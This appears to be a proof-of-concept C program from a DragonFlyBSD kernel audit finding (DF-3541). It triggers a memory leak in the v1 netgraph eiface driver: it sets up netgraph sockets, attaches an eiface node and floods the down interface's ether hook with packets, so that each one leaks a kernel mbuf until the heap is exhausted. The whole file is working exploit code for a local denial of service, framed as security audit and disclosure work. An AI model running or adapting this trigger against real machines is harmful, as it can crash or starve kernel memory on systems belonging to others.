⬢ DragonFlyBSD Kernel Audit
DF-3541 / eiface_leak.c
← back to finding ↓ download raw
/*
 * DF-3541 trigger -- v1 ng_eiface: ng_eiface_rcvdata() returns ENETDOWN
 * WITHOUT freeing the mbuf (sys/netgraph/eiface/ng_eiface.c:514-515).
 * Every packet delivered to the "ether" hook of a DOWN ngethX interface
 * leaks one mbuf (+cluster for >MHLEN packets) -- unbounded kernel heap
 * exhaustion.
 *
 * The ng7 twin frees explicitly (NG_FREE_M) before the same return
 * (sys/netgraph7/eiface/ng_eiface.c rcvdata), proving the deviation.
 *
 * v1 user ABI (sys/netgraph/ng_message.h): NG_VERSION 2, u_int16_t arglen,
 * header field order flags/token/typecookie/cmd.
 *
 * Build:  cc -O2 -o eiface_leak eiface_leak.c
 * Run (root, with v1 netgraph.ko + ng_socket.ko + DF-3486-patched
 *      ng_eiface.ko loaded):   ./eiface_leak <count> <buflen>
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#define AF_NG			32
#define NG_CONTROL		2
#define NG_DATA			1
#define NG_VERSION		2	/* v1! */
#define GEN_COOKIE		851672668	/* v1 NGM_GENERIC_COOKIE */
#define EIFACE_COOKIE		948105892	/* NGM_EIFACE_COOKIE */
#define NGM_MKPEER		2
#define NGM_NAME		4
#define NGM_EIFACE_GET_IFNAME	1

#define NG_TYPESIZ		32
#define NG_HOOKSIZ		32	/* v1: NG_HOOKSIZ 32 */
#define NG_NODESIZ		32
#define NG_CMDSTRSIZ		32

struct ngm_hdr_ {
	u_char	version; u_char spare; u_int16_t arglen;
	u_int32_t flags; u_int32_t token; u_int32_t typecookie;
	u_int32_t cmd; char cmdstr[NG_CMDSTRSIZ];
};
struct ng_mesg_ { struct ngm_hdr_ header; char data[2048]; };
struct ngm_mkpeer_ { char type[NG_TYPESIZ]; char ourhook[NG_HOOKSIZ]; char peerhook[NG_HOOKSIZ]; };
struct ngm_name_  { char name[NG_NODESIZ]; };
/* DFly: sa_family_t is __uint8_t -> sockaddr_ng data starts at offset 2 */
struct sockaddr_ng_ { u_char sg_len; u_char sg_family; char sg_data[64]; };

static u_int32_t tok = 0x5100;

static int
ngc(int cs, const char *path, u_int cookie, u_int cmd,
    const void *arg, size_t arglen)
{
	struct ng_mesg_ m;
	struct sockaddr_ng_ sa;
	ssize_t n;

	memset(&m, 0, sizeof(m));
	m.header.version = NG_VERSION;
	m.header.arglen = arglen;
	m.header.cmd = cmd;
	m.header.token = ++tok;
	m.header.typecookie = cookie;
	if (arglen)
		memcpy(m.data, arg, arglen);

	memset(&sa, 0, sizeof(sa));
	sa.sg_family = AF_NG;
	snprintf(sa.sg_data, sizeof(sa.sg_data), "%s", path);
	sa.sg_len = 2 + strlen(sa.sg_data) + 1;

	n = sendto(cs, &m, sizeof(m.header) + arglen, 0,
	    (struct sockaddr *)&sa, sa.sg_len);
	if (n < 0)
		return (-1);
	return (0);
}

int
main(int argc, char **argv)
{
	struct ngm_mkpeer_ mkp;
	struct ngm_name_ nm;
	struct ng_mesg_ reply;
	struct sockaddr_ng_ sa;
	static char buf[9216];
	int cs, ds, i, count = (argc > 1) ? atoi(argv[1]) : 500;
	size_t blen = (argc > 2) ? (size_t)atoi(argv[2]) : 2048;
	int rcvbuf = 1;
	int waitsec = (argc > 3) ? atoi(argv[3]) : 0;	/* pre-send delay */

	if (argc > 4)
		rcvbuf = atoi(argv[4]);	/* 1 = print recv'd replies */

	printf("eiface_leak: uid=%d count=%d buflen=%zu wait=%d\n",
	    getuid(), count, blen, waitsec);
	fflush(stdout);

	cs = socket(AF_NG, SOCK_DGRAM, NG_CONTROL);
	if (cs < 0) {
		printf("RESULT control-socket errno=%d (%s)\n",
		    errno, strerror(errno));
		if (errno == EPERM)
			printf("RESULT unpriv-gated: v1 ngc_attach "
			    "caps_priv_check -> EPERM (root-only trigger)\n");
		exit(0);
	}

	/* v1: name via bind() (synchronous), then use getsockname's "[id]:" */
	memset(&sa, 0, sizeof(sa));
	sa.sg_family = AF_NG;
	strcpy(sa.sg_data, "eileak");
	sa.sg_len = 2 + strlen(sa.sg_data) + 1;
	if (bind(cs, (struct sockaddr *)&sa, sa.sg_len) < 0)
		printf("STEP bind name failed errno=%d (continuing)\n", errno);
	{
		socklen_t slen = sizeof(sa);
		memset(&sa, 0, sizeof(sa));
		if (getsockname(cs, (struct sockaddr *)&sa, &slen) < 0)
			printf("STEP getsockname errno=%d\n", errno);
		else
			printf("STEP node addr = [%s]\n", sa.sg_data);
	}
	fflush(stdout);

	ds = socket(AF_NG, SOCK_DGRAM, NG_DATA);
	if (ds < 0) {
		printf("RESULT data-socket errno=%d\n", errno);
		exit(1);
	}
	{
		socklen_t slen = sizeof(sa);
		memset(&sa, 0, sizeof(sa));
		if (getsockname(cs, (struct sockaddr *)&sa, &slen) < 0) {
			printf("RESULT getsockname errno=%d\n", errno);
			exit(1);
		}
		/* bare name -> absolute node address needs the trailing ':' */
		if (strchr(sa.sg_data, ':') == NULL)
			strcat(sa.sg_data, ":");
		sa.sg_len = 2 + strlen(sa.sg_data) + 1;
		if (connect(ds, (struct sockaddr *)&sa, sa.sg_len) < 0) {
			printf("RESULT data-connect errno=%d (%s) addr=[%s]\n",
			    errno, strerror(errno), sa.sg_data);
			exit(1);
		}
	}

	memset(&mkp, 0, sizeof(mkp));
	strcpy(mkp.type, "eiface");
	strcpy(mkp.ourhook, "ether");
	strcpy(mkp.peerhook, "ether");
	if (ngc(cs, ".", GEN_COOKIE, NGM_MKPEER, &mkp, sizeof(mkp)) < 0) {
		printf("RESULT mkpeer errno=%d (%s)\n", errno, strerror(errno));
		exit(1);
	}
	printf("STEP mkpeer eiface ok\n");
	fflush(stdout);

	sleep(2);	/* let DF-3486 deferred ether_ifattach thread run */
	if (waitsec > 0) {
		printf("STEP waiting %ds (bring the interface UP now)\n",
		    waitsec);
		fflush(stdout);
		sleep(waitsec);
	}

	/* Confirm the interface exists and is DOWN */
	if (ngc(cs, "ether", EIFACE_COOKIE, NGM_EIFACE_GET_IFNAME,
	    "ether", 6) == 0) {
		if (rcvbuf) {
			ssize_t n = recv(cs, &reply, sizeof(reply), 0);
			if (n >= (ssize_t)sizeof(reply.header) + 4)
				printf("STEP ifname=%s\n", reply.data);
		}
	} else
		printf("STEP get_ifname errno=%d\n", errno);
	fflush(stdout);

	memset(&sa, 0, sizeof(sa));
	sa.sg_family = AF_NG;
	strcpy(sa.sg_data, "ether");
	sa.sg_len = 2 + strlen(sa.sg_data) + 1;

	for (i = 0; i < count; i++) {
		ssize_t n = sendto(ds, buf, blen, 0,
		    (struct sockaddr *)&sa, sa.sg_len);
		if (n < 0 && i == 0)
			printf("STEP first sendto errno=%d (%s)\n",
			    errno, strerror(errno));
	}
	printf("STEP sent %d x %zu bytes\n", count, blen);
	fflush(stdout);

	/* drain any stray replies */
	if (rcvbuf) {
		fcntl(cs, F_SETFL, O_NONBLOCK);
		while (recv(cs, &reply, sizeof(reply), 0) >= 0)
			;
	}
	sleep(1);
	printf("RESULT done\n");
	return (0);
}